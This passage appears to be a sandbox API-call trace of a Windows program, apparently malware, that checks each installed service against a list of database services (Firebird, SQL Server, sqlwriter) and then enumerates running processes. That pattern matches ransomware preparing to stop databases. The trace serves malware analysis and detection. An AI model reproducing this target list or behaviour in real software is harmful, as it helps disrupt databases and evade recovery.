(lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0261.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0261.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0261.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0261.581] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0261.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.581] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0261.581] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0261.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0261.581] lstrlenW (lpString="CDPSvc") returned 6 [0261.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0261.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0261.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0261.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0261.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0261.581] lstrlenW (lpString="ClickToRunSvc") returned 13 [0261.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.581] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0261.581] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0261.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0261.582] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0261.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0261.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0261.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0261.582] lstrlenW (lpString="CryptSvc") returned 8 [0261.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.582] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.582] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.582] lstrlenW (lpString="DcomLaunch") returned 10 [0261.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.582] lstrlenW (lpString="DeviceAssociationService") returned 24 [0261.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0261.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0261.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0261.583] lstrlenW (lpString="Dhcp") returned 4 [0261.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.583] lstrlenW (lpString="Dnscache") returned 8 [0261.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.583] lstrlenW (lpString="DPS") returned 3 [0261.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.616] lstrlenW (lpString="DusmSvc") returned 7 [0261.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0261.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0261.616] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0261.616] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0261.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0261.616] lstrlenW (lpString="EventLog") returned 8 [0261.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0261.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0261.616] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0261.616] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0261.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0261.616] lstrlenW (lpString="EventSystem") returned 11 [0261.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.617] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.617] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.617] lstrlenW (lpString="FontCache") returned 9 [0261.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0261.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0261.617] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0261.617] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0261.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0261.617] lstrlenW (lpString="gpsvc") returned 5 [0261.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.617] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.617] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.617] lstrlenW (lpString="iphlpsvc") returned 8 [0261.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.617] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.617] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.617] lstrlenW (lpString="KeyIso") returned 6 [0261.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0261.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0261.617] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0261.617] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0261.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0261.854] lstrlenW (lpString="LanmanServer") returned 12 [0261.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0261.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0261.854] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0261.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0261.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0261.855] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.855] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.855] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.855] lstrlenW (lpString="lfsvc") returned 5 [0261.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0261.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0261.855] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0261.855] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0261.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0261.855] lstrlenW (lpString="lmhosts") returned 7 [0261.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.855] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.855] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.855] lstrlenW (lpString="LSM") returned 3 [0261.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0261.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0261.856] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0261.856] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0261.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0261.856] lstrlenW (lpString="MpsSvc") returned 6 [0261.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.856] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.856] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.856] lstrlenW (lpString="NcbService") returned 10 [0261.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0261.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0261.856] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0261.856] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0261.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0261.856] lstrlenW (lpString="netprofm") returned 8 [0261.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0261.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0261.856] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0261.856] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0261.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0261.857] lstrlenW (lpString="NgcSvc") returned 6 [0261.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0261.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0261.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0261.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0261.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0261.857] lstrlenW (lpString="NlaSvc") returned 6 [0261.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.857] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.857] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.857] lstrlenW (lpString="nsi") returned 3 [0261.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.857] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.858] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0261.858] lstrlenW (lpString="PcaSvc") returned 6 [0261.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.858] lstrlenW (lpString="PlugPlay") returned 8 [0261.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.858] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.858] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.858] lstrlenW (lpString="Power") returned 5 [0261.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.858] lstrlenW (lpString="ProfSvc") returned 7 [0261.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.859] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.859] lstrlenW (lpString="RpcSs") returned 5 [0261.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.859] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.859] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.859] lstrlenW (lpString="SamSs") returned 5 [0261.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.859] lstrlenW (lpString="Schedule") returned 8 [0261.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.860] lstrlenW (lpString="SecurityHealthService") returned 21 [0261.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0261.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0261.860] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0261.860] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0261.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0261.860] lstrlenW (lpString="SENS") returned 4 [0261.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.860] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.860] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.860] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.860] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.860] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.860] lstrlenW (lpString="Spooler") returned 7 [0261.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.860] lstrlenW (lpString="SSDPSRV") returned 7 [0261.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0261.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0261.861] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0261.861] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0261.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0261.861] lstrlenW (lpString="StateRepository") returned 15 [0261.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0261.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0261.861] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0261.861] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0261.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0261.861] lstrlenW (lpString="SysMain") returned 7 [0261.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.861] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.861] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.861] lstrlenW (lpString="SystemEventsBroker") returned 18 [0261.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0261.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0261.861] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0261.861] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0261.862] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42d0fe0 | out: hHeap=0x670000) returned 1 [0261.862] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c8 [0261.868] Process32FirstW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.868] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.869] lstrlenW (lpString="System") returned 6 [0261.869] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.870] lstrlenW (lpString="smss.exe") returned 8 [0261.870] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.870] lstrlenW (lpString="csrss.exe") returned 9 [0261.870] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.871] lstrlenW (lpString="wininit.exe") returned 11 [0261.871] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.871] lstrlenW (lpString="csrss.exe") returned 9 [0261.871] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.872] lstrlenW (lpString="winlogon.exe") returned 12 [0261.872] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.873] lstrlenW (lpString="services.exe") returned 12 [0261.873] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.874] lstrlenW (lpString="lsass.exe") returned 9 [0261.874] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0261.874] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0261.874] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0261.875] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0261.875] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.876] lstrlenW (lpString="svchost.exe") returned 11 [0261.876] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.876] lstrlenW (lpString="svchost.exe") returned 11 [0261.876] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.877] lstrlenW (lpString="dwm.exe") returned 7 [0261.877] Process32NextW (in: hSnapshot=0x4c8, lppe=0x248fd2c | out: 